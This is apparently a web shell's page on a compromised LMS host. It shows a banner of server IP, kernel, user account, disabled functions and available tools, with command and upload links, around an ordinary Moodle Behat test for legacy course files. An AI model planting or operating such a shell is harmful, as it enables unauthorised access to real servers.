Server IP : 68.65.122.142 / Your IP : 3.149.242.190 Web Server : LiteSpeed System : Linux server167.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : glenirhm ( 1318) PHP Version : 7.4.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/glenirhm/.subaccounts/../lms.myglenbow.ca/old/files/tests/behat/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
@core @core_files Feature: Course files In order to add legacy files As a user I need to upload files @javascript Scenario: Add legacy files Given the following "courses" exist: | fullname | shortname | category | legacyfiles | | Course 1 | C1 | 0 | 2 | And the following config values are set as admin: | legacyfilesinnewcourses | 1 | | legacyfilesaddallowed | 1 | When I log in as "admin" And I am on "Course 1" course homepage Then I navigate to "Legacy course files" in current page administration And I press "Edit legacy course files" And "Add..." "link" should be visible And "Create folder" "link" should be visible @javascript Scenario: Add legacy file disabled Given the following "courses" exist: | fullname | shortname | category | legacyfiles | | Course 1 | C1 | 0 | 2 | And the following config values are set as admin: | legacyfilesinnewcourses | 1 | | legacyfilesaddallowed | 0 | When I log in as "admin" And I am on "Course 1" course homepage Then I navigate to "Legacy course files" in current page administration And I press "Edit legacy course files" And "Add..." "link" should not be visible And "Create folder" "link" should not be visible